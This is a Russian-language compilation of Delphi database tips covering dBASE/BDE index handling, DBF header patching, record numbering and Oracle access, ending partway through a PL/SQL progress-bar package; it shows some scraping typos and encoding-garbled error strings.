DBase.StartTransaction;
try
  Query.ExecSQL;
  DBase.Commit;
except
  DBase.Rollback;
  raise;    // Для последующей обработки
end;

Взято с http://delphiworld.narod.ru


Удалить dbase index flag

Function UnCheckIndex(FileDbf: string): Boolean;
var
  Dbf: file;
  Car: Char;
begin
  Result := T;
  AssignFile(Dbf, FileDbf);
  Car := #0;
  {$I-}
  Reset(Dbf, 1);
  if not ErrorIO(FileDbf, IoResult) then
  begin
    Seek(Dbf, 28);
    {Flag's position}
    if not ErrorIO(FileDbf, IoResult) then
      BlockWrite(Dbf, Car, 1, Num_R)
    else
      Result := F;
    CloseFile(Dbf);
    if ErrorIO(FileDbf, IoResult) then
      Result := F;
  end
  else
    Result := F;
  {$I+}
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if UnCheckIndex('MyBase.dbf') then
    ShowMessage('Flag removed');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Index not found Exception

{Q: How do I open a dBASE table without the required MDX file?
   I keep getting an "Index not found..." exception.}

{A: When you create a dBASE table with a production index (MDX), a
   special byte is set in the header of the DBF file.  When you
   subsequently attempt to re-open the table, the dBASE driver
   will read that special byte, and if it is set, it will also
   attempt to open the MDX file.  When the MDX file cannot be
   opened, an exception is raised.

   To work around this problem, you need to reset the byte (byte
   28 decimal) in the DBF file that causes the MDX dependency
   to zero.

   The following unit is a simple example of how to handle the
   exeption on the table open, reset the byte in the DBF file,
   and re-open the table.}

unit Fixit;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, DB, DBTables, Grids, DBGrids;

type
  TForm1 = class(TForm)
    Table1: TTable;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

const
  TheTableDir = 'c:\temp\';
  TheTableName = 'animals.dbf';

procedure RemoveMDXByte(dbFile: string);
  { This procedure accepts a DBF file as a parameter.  It will patch}
  { the DBF header, so that it no longer requires the MDX file }
const
  Value: Byte = 0;
var
  F: file of byte;
begin
  AssignFile(F, dbFile);
  Reset(F);
  Seek(F, 28);
  Write(F, Value);
  CloseFile(F);
end;

procedure TForm1.Button1Click(Sender: TObject);
  { This procedure is called in response to a button click.  It    }
  { attempts to open a table, and, if it can't find the .MDX file, }
  { it patches the DBF file and re-execute the procedure to        }
  { re-open the table without the MDX  }
begin
  try
    { set the directory for the table }
    Table1.DatabaseName := ThheTableDir;
    { set the table name }
    Table1.TableName := TheTableName;
    { attempt to open the table }
    Table1.Open;
  except
    on E: EDBEngineError do
      { The following message indicates the MDX wasn't found: }
      if Pos('Index does not exist. File', E.Message) > 0 then
      begin
        { Tell user what's going on. }
        MessageDlg('MDX file not found.Attempting to Open
          without Index.', mtWarning, [mbOK], 0);
        { remove the MDX byte from the table header }
        RemoveMDXByte(TheTableDir + TheTableName);
        { Send the button a message to make it think it was }
        { pressed again.  Doing so will cause this procedure to }
        { execute again, and the table will be opened without }
        { the MDX }
        PostMessage(Button1.Handle, cn_Command, bn_Clicked, 0);
      end;
  end;
end;

end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Создание/пересоздание индекса

DbiRegenIndexes( Table1.Handle ); { Регенерация всех индексов }
create index (зависит от существования выражения)

if (( Pos('(',cTagExp) + Pos('+',cTagExp) ) > 0 ) then
  Table1.AddIndex( cTagName, cTagExp, [ixExpression])  // <- ixExpression - _литерал_
else
  Table1.AddIndex( cTagName, cTagExp, []);

Взято с http://delphiworld.narod.ru


Показ меток удаленных записей в dBASE-файлах

Для начала вы должны включить SoftDeletes, после чего вы сможете просматривать записи, помеченные к удалению. В противном случае, вы их не увидите. По умолчанию, для файлов DBF, SoftDeletes установлен в False. Вот логика работы:

procedure TForm1.Button1Click(Sender: TObject);
var
  B: BOOL;
  W: Word;
begin
  Check(DbiSetProp(hDBIObj(Table1.Handle), curSOFTDELETEON,
    longint(True)));
  { Проверяем, что это работает }
  Check(DbiGetProp(hDBIObj(Table1.Handle), curSOFTDELETEON, @B,
    sizeof(B), W));
  if B = False then
    Label2.Caption := 'Не помечена'
  else
    Label2.Caption := 'Помечена';
end;

Когда указатель на запись указывает на запись, которую вы хотите удалить, используйте следующую логику:

Table1.UpdateCursorPos;
Check(DbiUndeleteRecord(Table1.Handle));

Метод UpdateCursorPos устанавливает основной курсор BDE на позицию курсора текущей записи, который существуют только для того, чтобы все работало правильно. Вам нужно только вызвать этот метод прямым вызовом одной из BDE API функций (такой как, например, DbiUndeleteRecord).

Ну и, наконец, чтобы все работало, поместите модули DBIPROCS и DBITYPES с список USES.

Взято с http://delphiworld.narod.ru


DBASE - Индексы выражений

Введение

Индексы для таблиц dBASE могут базироваться на значениях из отдельной области, нередактируемых данных, или на основе выражений. Индексы выражений, уникальные для индексов dBASE, могут формироваться на основе нескольких полей, измененных значений полей или их комбинаций. Выражение для dBASE-индекса создаются с использованием dBASE-функций и синтаксиса для конкатенации нескольких полей или изменения значений поля для полей, включенных в выражения индекса.

В конце данного совета включены два небольших раздела, описывающих механику создания индексов выражений dBASE, один относится к утилите Database Desktop, другой - к приложениям Delphi.

Индексные выражения на основе множества полей

Функции dBASE доступны для применения в Delphi или Database Desktop для ускоренного использования в выражениях индекса, и затем только в связи с индексами dBASE. То есть, вы не сможете использовать функции dBASE или синтаксис для создания выражения индекса для таблицы Paradox или Local InterBase Server (LIBS). Функции dBASE не могут использоваться при программировании в Delphi. Они доступны только для выражений индесов dBASE. Синтаксис и функции dBASE, которые могут быть использованы для выражений индексов, "расположены" в библиотечном файле Borland Database Engine (BDE) IDDBAS01.DLL.

При создании индекса dBASE, который должен базироваться на двух или более полях таблицы, для которой он создается, два или более поля конкатенируются (связываются вместе) в величине, которая в некоторой степени похожа на Delphi тип String, с использованием синтакса Delphi: оператор "+". Например, выражению необходимо создать индекс, который должен базироваться в первую очередь на основе поля LastName, а затем на основе поля FirstName:

LastName + FirstName

В отличие от самого dBASE, такие индексы, основанные на нескольких полях, ограничены использованием таких же полей в таблице. dBASE допускает создание индексов, основанных на нескольких полях, содержищихся в другой таблице. Это позволяет во время создания индекса иметь открытую только "другую" таблицу или использовать таблицу, содержащую индекс.
У индексов с несколькими полями для других типов таблиц (например, Paradox и InterBase), используемые поля должны быть разделены точкой с запятой (;), как показано ниже:

LastName;FirstName

В выражениях индекса dBASE, в которых конкатенируются несколько полей, фактическое выражение должно выглядеть следующим образом:

LastName + FirstName

При создании индексных выражений, которые конкатенируют два и более поля, все включенные поля должны иметь одинаковый тип. К тому же, если они должны конкатенироваться, вместо складывания, то все поля должны иметь тип String. Например, для двух целочисленных полей, Value1 и Value2, выражение индекса...

Value1 + Value2

...не вызовет ошибку. Но в этом случае произойдет конкатенация двух значений полей и они суммируются. Таким образом, если Value1 для данной записи содержало 4, а Value2 - 5, результирующий индексный узел будет целой величиной 9, а не строковой конкантенацией "45".
Если поля, включенные в выражение индекса, имеют не строковый тип, они должны быть преобразованы. Вот некоторые функции dBASE, преобразовывающие различные типы данных к строковому типу для использования в выражениях индекса:

STR( [, [, ]])
Преобразовывает dBASE-тип Float или Numeric в Character (String)

DTOS()
Преобразовывает значение Date к Character, формат YYYYMMDD

MLINE(, )
Извлекает отдельную строку из Memo-поля как значение Character

Другое ограничение при создании индексов путем конкантенации нескольких полей - максимально допустимая длина индексной величины. Величина, возвращаемая индексным значением, не может превышать 100 символов. Это предел длины значения, возвращаемого выражением, не длина самого выражения. Например, вы не можете создать индекс путем конкантенации двух полей, если они оба имееют длину 255 символов.

Индексные выражения на основе модификации значений полей

Дополнительно к созданию индексов, основанных на конкатенации значений двух и более полей, также возможно создать индекс, основанный на модификации значений полей. Примером этого может служить создание индекса на основе первых трех символов поля типа String, года и месяца поля с типом Date, индекс с использованием конкантенации полей с типами String и Date, где значение поля типа String отсортировано по возрастающей, а поле, имеющим тип Date - по убывающей, и даже создание индекса на основе поля с логическим типом.

Создание индексов на основе модификации значений полей требует, по крайней мере, практическое знание функций dBASE и синтаксиса, поскольку данная технология использует dBASE, а не функции и синтаксис Delphi. Функция dBASE SUBSTR() извлекает подстроку из поля типа String. Delphi-эквивалент данной dBASE-функции - Copy. Но только dBASE функция SUBSTR() может применяться при создании индексного выражения dBASE.

Использование фунций dBASE в индексных выражениях dBASE заключается в простом включении в индексное выражение функции, использование в функциях dBASE-синтаксиса и имени (имен) поля (полей), использующихся в функциях. Например, индексное выражение на основе трех последних символов значения поля типа String с именем Code, имеющим длину 20 символов выглядит так:

RIGHT(Code, 3)
Важно соблюдение следующего правила: конструкции индексных выражений dBASE, модифицирующих значения полей, должны возвращать величину с "последовательной длиной" для каждой записи таблицы, т.е. результат не должен содержать граничных пробелов. Например, функция dBASE TRIM() удаляет граничные пробелы (ASCII код 32) из значения поля типа String. Если это было использовано вместе с конкантенацией двух полей, имеющих тип String, где поле не имеет постоянной длины для разных записей, длина результирующего значения будет различная для всех записей. В свете этого рассмотрим следующий пример: построим индексное выражение на основе конкантенации полей LastName и FirstName field, где функция TRIM() применена к полю LastName:

TRIM(LastName) + FirstName
Данное выражение не возратит значения "последовательной длины" для всех записей. Если поля LastName и FirstName содержали значения...

  LastName  FirstName
  --------  ---------
  Smith     Jonas
  Wesson    Nancy

...то результат использования индексного выражения может быть таким:

  SmithJonas
  WessonNancy

Как вы можете наблюдать, длина значения первого поля равна 10 символов, тогда как второго - 11 символов. Узлы индекса для данного индексного выражения должны базироваться на значении поля первой ненумерованной записи. Следовательно, результат выражения индекса для каждого узла должен быть равен 10 символов. В нашем примере результат вычисления для второй записи округляется до "WessonNanc". Все это приводит к тому, что поиск, основанный на поиске полных значений в полях, окончится неудачей.
Решение это дилеммы кроется в не использовании функции TRIM(), а в использовании полной длины значений поля LastName, включая граничные пробелы. В индексах, которые используют функции IIF() для установления порядка одного поля или другого, основанных на сравнении логических выражений в IIF(), если два поля имеют различную длину, более короткое поле должно быть заполнено пробелами до длины большей области. Для примера, создавая индекс с использованием функции IIF(), и индексируя поля Company или Name, базирующийся на поле Category, и где поле Company длиной 40 символов, а поле Name длиной 25 симловов, поле Name необходимо дополнять 15-ю пробелами; например, с помощью dBASE-функции SPACE(). Выражение индекса в этом случае будет таким:

IIF(Category = "B", Company, Name + SPACE(15))
Поиск и выражения индексов dBASE
Выражения индексов dBASE являются исключениями из правил в том, как они обрабатываются Delphi и BDE, по сравнению с обработкой индексов таблиц другого типа, также основанных на множестве полей.

Это вынуждает вынести dBASE-индексы в отдельный класс. Обработка таких индексов в Delphi и BDE отличается от обработки индексов для других типов таблиц. Одно из самых существенных различий заключается в том, что не все поисковые инструменты, основанные на индексах и использующие синтаксис Delphi, могут использовать выражения индексов dBASE. FindKey, FindNearest и GotoKey методы компонента TTable не годятся для работы с выражениями индексов. При попытке использования FindKey вы получите сообщение об ошибке: "Field index out of range." (Индекс поля за границами диапазона). При попытке использования метода GotoKey может произойти та же ошибка, или табличный курсор может остаться на месте (визуально искомая величина не найдена). С выражениями индексов может использоваться только метод GotoNearest. Но даже GotoNearest может не работать с некоторыми индексными выражениями. Только с помощью эксперимента можно установить - работает ли метод GotoNearest с данным индексным выражением.

Фильтрация индексных выражений dBASE

Как и основанный на индексах поиск, индексные выражения dBASE при использовании фильтров Delphi также имеют некоторые исключения.

С активным индексным выражением метод SetRange компонента TTable приводит к следующей ошибке: "Field index out of range." (Индекс поля за границами диапазона). Тем не менее, с тем же активным индексным выражением методы SetRangeStart и SetRangeEnd успешно фильтруют набор данных.

Например, выражение индекса с конкантенацией поля LastName и активного FirstName, в приведенном ниже коде, использующем метод FindKey (предполагающий фильтрацию тех записей, где первый символ поля LastName содержит "S"), "вылетит" с ошибкой:

begin
  Table1.SetRange(['S'], ['Szzz'])
end;

Код, приведенный ниже, использует то же активное выражение индекса, но используемый фильтр поля LastName правильно отфильтрует данные, и не вызовет ошибки:

begin
  with Table1 do
  begin
    SetRangeStart;
    FieldByName('LastName').AsString := 'S';
    SetRangeEnd;
    FieldByName('LastName').AsString := 'Szzz';
    ApplyRange;
  end;
end;

И, так же, как и в случае основанного на индексах поиска, успех применения фильтра целиком и полностью зависит от самого индексного выражения. Использование методов SetRangeStart и SetRangeEnd в приведенном примере работало бы с индексом, построенным на основе простой конкантенации двух полей, имеющих тип String. Но если вместо этого выражение было основано на одном или нескольких полях с использованием функции IIF(), тот же самый процесс фильтрации потерпел бы неудачу (хотя и без ошибки).

Несколько полезных советов при создании индексных выражений dBASE

Вот некоторые "удобные" индексные выражения dBASE. Некоторые интуитивно-понятные в достижении своей цели, другие немного "заумные".

Сортировка поля типа Character символов по-возрастающей, поля Date - по-убывающей

С полем типа Character и именем Name, и полем типа Date и именем OrdDate:

Name + STR(OrdDate - {12/31/3099}, 10, 0)
Сортировка поля типа Character по-возрастающей и поля типа Numeric (или Float) по-убывающей
C полем типа Character и именем Company, и полем типа Numeric и именем Amount (поле Amount имеет длину 9 цифр с двумя цифрами после десятичной запятой):

Company + STR(Amount - 999999.99, 9, 2)
Сортировка логического поля
Для того, чтобы записи со значением True располагались впереди записей со значением False в логическом поле с именем Paid, выполните следующее:

IIF(Paid, "A", "Z")
Два поля с типом Numeric (или Float)
Предположим, у нас имеется два поля типа Numeric с пятью и двумя десятичными разрядами, первое поле с именем Price, второе - Quantity:

STR(Price, 5, 2) + STR(Quantity, 5, 2)
Сортировка одного из двух полей в зависимости от выполнения логического условия
Сортировка имен месяцев в поле, имеющим тип Character

Предположим, поле содержит имена месяцев на английском языке ("Jan," "Feb" и т.д.), и его необходимо расположить в соответствующем порядке (имя поля M):

  IIF(M="Jan", 1, IIF(M="Feb", 2, IIF(M="Mar", 3, IIF(M="Apr", 4,
  IIF(M="May", 5, IIF(M="Jun", 6, IIF(M="Jul", 7, IIF(M="Aug", 8,
  IIF(M="Sep", 9, IIF(M="Oct", 10, IIF(M="Nov", 11, 12)))))))))))

(Вышеприведенный код - единственная строка кода, разбирая на несколько из-за ограничений ширины страницы.)
Сортировка по первой строке Memo-поля

Для Memo-поля с именем Notes:

MLINE(Notes, 1)
Сортировка по средним трем символам в девятисимвольном поле типа long
Для девятисимвольного поля типа long с именем StockNo:

SUBSTR(StockNo, 4, 3)
Создание индексных выражений dBASE в Database Desktop
В утилите Database Desktop, индексы могут создаваться как для новой таблицы (во время ее создания), так и для существующей, путем ее реструктуризации. В обоих случаях используется диалог "Define Index", использующийся для создания одного или более индексов таблицы.

Для вывода диалога создания индекса ("Create Index") во время создания новой таблицы, в диалоге создания dBASE таблицы ("Create dBASE Table") (показ структуры), выберите в списке "Table Properties" (свойства таблицы) пункт "Indexes" (индексы) и нажмите на кнопку "Define".

Чтобы вывести диалог создания индекса ("Create Index") при создании индекса для существующей таблицы, выберите Utilities|Restructure, выберите файл с таблицей в диалоге выбора файла ("Select File"), и в диалоге реструктуризации таблицы dBASE ("Restructure dBASE Table") (показ структуры таблицы) выберите в списке "Table Properties" (свойства таблицы) пункт "Indexes" (индексы) и нажмите на кнопку "Define".

Только в диалоге создания индекса ("Create Index"), выражения индекса могут создаваться щелчком на кнопке "Expression Index" (индеск выражения) и вводом выражения в поле редактирования "Expression Index". Для ассистирования данного процесса, вы можете дважды щелкнуть на имени поля с списке полей, после чего имя поля будет помещено в область редактирования "Index Expression" в текущей точке ввода (позиция курсора).

Как только нужное выражение составлено, нажмите кнопку OK. Введите имя нового индексного тэга в поле редактирования "Index Tag Name" (имя индексного тэга") в диалоге "Save Index As" (сохранить индекс как...) и нажмите "OK". (Помните, имена тэгов индексов dBASE не могут превышать десяти символов и должны соблюдать соглашения об именах dBASE.)

Создание индексных выражений dBASE в приложениях Delphi

dBASE-индексы могут создаваться программным путем в Delphi-приложениях как для новой таблицы (метод CreateTable компонента TTable), так и для существующей.

Для создания индекса как части новой таблицы, необходимо вызваться метод Add свойства IndexDefs компонента TTable. В нашем случае необходимо включить в набор флажков индекса флажок ixExpression. Данный флажок уникален для индексов таблиц dBASE, и может использоваться только с индексными выражениями dBASE. Для примера:

with Table1 do
begin
  Active := False;
  DatabaseName := 'Delphi_Demos';
  TableName := 'CustInfo';
  TableType := ttdBASE;
  with FieldDefs do
  begin
    Clear;
    Add('LastName', ftString, 30, False);
    Add('FirstName', ftString, 20, False);
  end;
  with IndexDefs do
  begin
    Clear;
    Add('FullName', 'LastName + FirstName', [ixExpression]);
  end;
  CreateTable;
end;

Добавление индекса к существующей таблицы осуществляется вызовом метода AddIndex компонента TTable. Кроме того, флажки индекса должны включать в себя значение TIndexOptions ixExpression.

Table1.AddIndex('FullName', 'LastName + FirstName', [ixExpression]);

Изучение функций и синтаксиса dBASE

Для создания индексных выражений dBASE могут использоваться только функции и синтакс, относящиеся к обработке данных. Тем не менее, полный список и описание данных функций выходит за рамки данного совета. Для получения дополнительной информации о dBASE-функциях обработки данных, обратитесь к руководству "dBASE Language Reference" или книгам и справочникам по dBASE третьих фирм.

Взято с http://delphiworld.narod.ru


Определение номера записи в таблице dBASE

Таблицы dBASE применяют довольно статическую систему нумерации записей. Номер записи для данной записи (извините за тавтологию) отражает физическую позицию в табличном файле. Эти номера записей не изменяются вследствие фильтрации, упорядочивания данных или сортировки. К примеру, первая запись, хранящаяся в .DBF файле, будет иметь номер записи 1. Возможно, после некоторого упорядочивания индекса, запись будет последней из 100 записей. В этом случае запись должна оставаться с тем же номером, а не номером 100, отражающим новую позицию в сортированном наборе данных. Это противоречит таблицам Paradox, где соблюдается последовательная нумерация. Последовательная нумерация Paradox похожа на нумерацию записей dBASE, за исключением большей гибкости и отражению в номере записи ее текущей позиции в наборе данных. То есть, запись может не всегда иметь номер, установленный для нее фильтром набора данных, уменьшившим общее число записей, или при активном индексе, из-за чего может измениться отображаемый порядок записи.

В приложениях для работы с базами данных, созданных с помощью Delphi и Borland Database Engine (BDE), DB-компонентами не предусмотрено извлечение и определение записи таблицы dBASE. Такая операция, тем не менее, возможна с помощью вызова из вашего приложения функций BDE.

Существует несколько функций BDE, возвращающих информацию о текущей записи dBASE, например, ее номер. На самом деле, любая функция, заполняющая структуру BDE pRECProps, вполне достаточна. Например, функции BDE DbiGetRecord, DbiGetNextRecord и DbiGetPriorRecord. Естественно, только первая из них реально позволяет получить информацию о текущей записи. Две других перемещают при вводе указатель на запись, подобно методам Next и Prior компонентов TTable и TQuery.

Структура pRECProps состоит из следующих полей:

iSeqNum: тип LongInt; определяет текущий номер записи (относительно набора данных, включая фильтрацию и сортировку индекса); используется, если тип таблицы поддерживает последовательную нумерацию (только Paradox).

iPhyRecNum: тип LongInt; определяет номер записи; используется, если тип таблицы поддерживает физические номера записи (только dBASE).

bRecChanged: тип Boolean; в настоящее время не используется.

bSeqNumChanged: тип Boolean; в настоящее время не используется.

bDeleteFlag: тип Boolean; указывает на удаленную запись; используется, если тип таблицы поддерживает "мягкое" удаление (только dBASE).

Одна из этих BDE-функций может быть вызвана из вашего приложения для заполнения данной структуры, из которой затем может быть извлечен физический номер записи. Ниже - пример использования для этой цели функции DbiGetRecord.

function RecNo(ATable: TTable): LongInt;
var
  R: RECProps;
  rslt: DbiResult;
  Error: array[0..255] of Char;
begin
  ATable.UpdateCursorPos;
  rslt := DbiGetRecord(ATable.Handle, dbiNoLock, nil, @R);
  if rslt = DBIERR_NONE then
    Result := R.iPhyRecNum
  else
  begin
    DbiGetErrorString(rslt, Error);
    ShowMessage(StrPas(Error));
    Result := -1;
  end;
end;

Для вызова любой BDE-функции из приложения Delphi, модули-обертки BDE DbiTypes, DbiErrs и DbiProcs должны быть включены в секцию Uses модуля, из которого они будут вызываться (секция Uses здесь не показана). Для того, чтобы сделать функции более транспортабельными, они не имеют прямой ссылки на компонент TTable, но указатель на TTable передается как параметр. Если эта функция используется в модуле, который не ссылается на модули Delphi DB и DBTables, они должны быть добавлены, иначе ссылки на компонент TTable будут недействительными.

Метод TTable UpdateCursorPos вызывается для гарантии синхронизации номера текущей записи в компоненте TTable и связанной с ним таблицы.

В случае ошибок BDE функций, исключительная ситуация ими не генерируется. Вместо этого они возвращают значение BDE-типа DbiResult, указывающее на успешное завершение или ошибку операции. Возвращаемое значение должно быть получено и обработано внешним приложением, с выполнением соответствующих действий. Любой результат, кроме DBIERR_NONE, указывает на неудачное выполнение функции. В этом случае может быть осуществлено дополнительное действие (как в примере выше), где с помощью BDE функции DbiGetErrorString код ошибки переводится в удобночитаемое сообщение. В этом примере возвращаемое в DbiGetRecord значение сохраняется в переменной rslt, а затем для определения успешности вызова функции сравнивается с DBIERR_NONE.

Если вызов DbiGetRecord был успешным, физический номер записи из поля iPhyRecNum структуры pRECProps сохраняется в переменной Result, которая является возвращаемой функцией величиной. Чтобы указать на то, что функция потерпела неудачу (т.е., вызов фунции DbiGetRecord окончился неудачно), вместо номера записи возвращается отрицательная величина. Значение ее может быть произвольным (отрицательная величина совместимого типа) и отдается на усмотрение программисту.

Взято с http://delphiworld.narod.ru


DBFSeek и DBFLocate

Надежней и намного быстрее (если вы ищите отдельные записи) выполнить поиск строки с помощью Seek (если найдена первая запись), или выполнить Locate (индекс не требуется)

например

Table1.UpdateCursorPos;
if DBFSeek( Table1, xVal1 ) then {_не_ delphi-функция - смотри ниже}
begin
  if DBFLocate( Table1, 'CUSTNAME', xVal2  ) then {_не_ delphi-функция - модификация из faq}
  begin
    //... делаем все, что необходимо
  end;
end;

P.S.

DBFLocate - модифицированная из faq фунция fieldname
DBFSeek - функция, найденная методом проб и ошибок! - значительно лучшая (IMHO) чем setkey...fieldbyname1...fieldbyname2...gotokey, используемые для выражений индексов dBase за первым полем. Вы можете использовать FindKey для dBase индексов, состоящих из одного поля, вопреки мнению других участников форума.

{============================================================
{ DBFSeek
{ поиск величины с использованием индекса - простой путь
{============================================================}

function DBFSeek(const Table1: TTable; const sValue: string): boolean;
var

  sExpValue: DBIKEYEXP;
  bmPos: TBookMark;
  nOrder: integer;

begin

  Result := False;

  with Table1 do
  begin
    if (Active) and (Length(IndexName) > 0) then
    begin
      bmPos := GetBookMark;
      DisableControls;

      StrPCopy(sExpValue, sValue);
      if (DbiGetRecordForKey(Handle, True, 0, strlen(sExpValue), @sExpValue, nil)
        = DBIERR_NONE) then
        Result := True
      else
        GotoBookMark(bmPos);

      FreeBookMark(bmPos);
      EnableControls;
    end;
  end;
end;

{==================================================================================
{ DBFLocate
{ поиск величины, не связанный с ключевым полем
{ замена из faq, теперь акцептует fieldname, величина может быть частичной
{================================================================================}

function DBFLocate(const Table1: TTable; const sFld, sValue: string): boolean;
var

  bmPos: TBookMark;
  bFound: boolean;
  len: integer;
begin

  Result := False;
  if (not StrEmpty(sValue)) and (not StrEmpty(sFld)) then
  begin
    with Table1 do
    begin
      DisableControls;
      bFound := False;
      bmPos := GetBookMark;
      len := Length(sValue);
      First;

      while not EOF do
      begin
        if FieldByName(sFld).AsString <> sValue then
          Next
        else
        begin
          Result := True;
          bFound := True;
          Break;
        end;
      end;

      if (not bFound) then
        GotoBookMark(bmPos);

      FreeBookMark(bmPos);
      EnableControls;
    end;
  end;
end;

Взято с http://delphiworld.narod.ru


Работа с Oracle

Cодержание раздела:

Доступ к Oracle через ADO
Как напрямую добраться до Oracle?
Как при выполнении долгой операции в Oracle показать прогресс бар?
Подключение к Personal Oracle с помощью BDE
Как выяснить номер версии Oracle?
Как получить текущую дату?
Связь с personal Oracle
Как на Oracle поменять compatible
Как настроить Personal Oracle с русским языком на корректную работу с числами и BDE
Понятия Instance, Database etc
Доступ к объекту Oracle
компонент TStoredProc
Как корректно прервать выполнение SQL-запроса?
После логина возникает EExternalError 0xC0000008 New!
Как правильно соединяться с базой данных под Personal Oracle New!
Как в Oracle создать sequence с некоторого номера New!
В режиме отладки приложения не разрешается открытие базы данных New!

См. также статьи в других разделах:
Переход с Oracle на Interbase


Доступ к Oracle через ADO

Для доступа к данных хранящимся в Oracle лучше всего использовать не компоненты ADO а компоненты билиотека DAO (Data Access Oracle) с ними так же просто разобраться как и со стандартными компонентами, к тому же они работают на прямую с Oracle, без каких-либо посредников (например BDE, или тот же ODBC), и заточены соответственно под него. Линк точный дать не могу, но найти их будет не трудно (воспользуйся поисковой системой)...

Но если все же решил использовать ADO вот тебе строка:
1) способ если использовать "MS OLE DB Provaider for Oracle" - это провайдер мелкомягких
Provider=MSDAORA.1;Password=USER123;User ID=USER;Data Source=MyDataSourse;
Persist Security Info=False
2) способ если использовать "Oracle Provaider for Ole DB" - это провайдер от Oracle
Provider=OraOLEDB.Oracle.1;Persist Security Info=False;User ID=USER;Data Source=MyDataSourse

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru


Как напрямую добраться до Oracle?

Автор: Philip A. Milovanov ( http://korys.chat.ru )

Для этого можно воспользоваться компонентами от AllRoundAutomations Direct Oracle Access. Если кому надо могу поделиться. При помощи этих компонент можно не только производить простые запросы/вставки, но и выполнять DDL-скрипты, и иметь доступ к объектам Oracle 8, примет смотри ниже...

var Address: TOracleObject;
begin
Query.SQL.Text := 'select Name, Address from Persons';
Query.Execute;
while not Query.Eof do
begin
Address := Query.ObjField('Address');
if not Address.IsNull then
ShowMessage(Query.Field('Name') + ' lives in ' + Address.GetAttr('City'));
Query.Next;
end;
end;

Взято из http://forum.sources.ru


Как при выполнении долгой операции в Oracle показать прогресс бар?

Автор: Philip A. Milovanov ( http://korys.chat.ru )

Ниже приведен пример, как это сделать при помощи Direct Oracle Access, надеюсь этот кусок кода несложно запустить в отдельном процессе, а в другом можно запустить перемесчатель прогресс бара. Есть готовая компонента, могу поделиться.

//на создании потока вставим то, что будет выбирать необходимую информацию

Self.fods.SQL.Text:='SELECT SOFAR FROM V$SESSION_LONGOPS WHERE CONTEXT=:FK_ID';
Self.fods.DeclareVariable('FK_ID',otInteger);
Self.fods.SetVariable('FK_ID',ID);

//На выполнение потока вешаем открытие/закрытие TOracleDataSet
while (Terminated = false) do
  begin
    Self.fods.Close;
    Self.fods.Open;
    Self.fpb.Progress := Self.fods.FieldByName('SOFAR').AsInteger;
//^^^^Эта строчка как раз и устанавливает нужный прогрессбар в нужную позицию...
  end;

Ну и соответсвенно перед выполнением всего этого дела необходимо выставить максимальное число (100%) :
PROCEDURE SETMaxValue(nVal IN NUMBER);
Минимальное:
PROCEDURE SETMinValue(nVal IN NUMBER);
Значение шага:
PROCEDURE SetStepValue(nValue IN NUMBER);

Вышеприведенный кусок кода - клиентская часть, но есть и "подводный камень" - серверная часть... Данный метотод подкодит только для функций, процедур и пактеов, в которых вы можете написать вставить следущую строчку:
PROGRESS_BAR.STEPIT;

Код пакета PROGRESS_BAR приведен ниже:

create or replace package PROGRESS_BAR
IS
-- Wrote by Philip A. Milovanov
nMaxValue NUMBER:=0;
nMinValue NUMBER:=0;
nCurrentValue NUMBER:=0;
nStepValue NUMBER:=1;
nID PLS_INTEGER;
slno PLS_INTEGER;
target PLS_INTEGER;
PROCEDURE SETMaxValue(nVal IN NUMBER);
PROCEDURE SETMinValue(nVal IN NUMBER);
FUNCTION INIT RETURN NUMBER;
PROCEDURE StepIt;
PROCEDURE SetStepValue(nValue IN NUMBER);
PROCEDURE StepIt(C IN NUMBER);
END; -- Package Specification PROGRESS_BAR
/
--Сам пакет:
Create or Replace Package Body PROGRESS_BAR
IS
-- Wrote by Philip A. Milovanov
PROCEDURE SETMaxValue(nVal IN NUMBER) IS
BEGIN
if nVal<nMinValue THEN
RAISE_APPLICATION_ERROR(-20001,'&Igrave;&egrave;&iacute;&egrave;&igrave;&agrave;&euml;&uuml;&iacute;&icirc;&aring; &ccedil;&iacute;&agrave;&divide;&aring;&iacute;&egrave;&aring; &iacute;&aring; &auml;&icirc;&euml;&aelig;&iacute;&icirc; &aacute;&ucirc;&ograve;&uuml; &aacute;&icirc;&euml;&uuml;&oslash;&aring; &igrave;&agrave;&ecirc;&ntilde;&egrave;&igrave;&agrave;&euml;&uuml;&iacute;&icirc;&atilde;&icirc; &igrave;&egrave;&iacute;:'||nMinValue||' ,&igrave;&agrave;&ecirc;&ntilde;:'||nVal);
END IF;
nMaxValue:=nVal;
END;
PROCEDURE SETMinValue(nVal IN NUMBER) IS
BEGIN
if nVal>nMaxValue THEN
RAISE_APPLICATION_ERROR(-20001,'&Igrave;&egrave;&iacute;&egrave;&igrave;&agrave;&euml;&uuml;&iacute;&icirc;&aring; &ccedil;&iacute;&agrave;&divide;&aring;&iacute;&egrave;&aring; &iacute;&aring; &auml;&icirc;&euml;&aelig;&iacute;&icirc; &aacute;&ucirc;&ograve;&uuml; &aacute;&icirc;&euml;&uuml;&oslash;&aring; &igrave;&agrave;&ecirc;&ntilde;&egrave;&igrave;&agrave;&euml;&uuml;&iacute;&icirc;&atilde;&icirc; &igrave;&egrave;&iacute;:'||nVal||' ,&igrave;&agrave;&ecirc;&ntilde;:'||nMaxValue);
END IF;
nMinValue:=nVal;
END;
FUNCTION INIT RETURN NUMBER IS
CURSOR c IS SELECT OBJECT_ID FROM ALL_OBJECTS WHERE OBJECT_NAME='PROGRESS_BAR';
i NUMBER;
BEGIN
OPEN c;
FETCH c INTO target;
CLOSE c;
SELECT SEQ_TPROCESS_BAR.NEXTVAL INTO i FROM DUAL;
nCurrentValue:=nMinValue;
nID:=DBMS_APPLICATION_INFO.set_session_longops_nohint;
DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS(nID,slno,'CALCULATING REPORT',target,i,nCurrentValue,nMaxValue,'PROGRESS BAR INFO',NULL);
RETURN i;
END;
PROCEDURE StepIt IS
BEGIN
nCurrentValue:=nCurrentValue+nStepValue;
DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS(nID,slno,'CALCULATING REPORT',target,nMinValue,nCurrentValue,nMaxValue,'PROGRESS BAR INFO',NULL);
END;
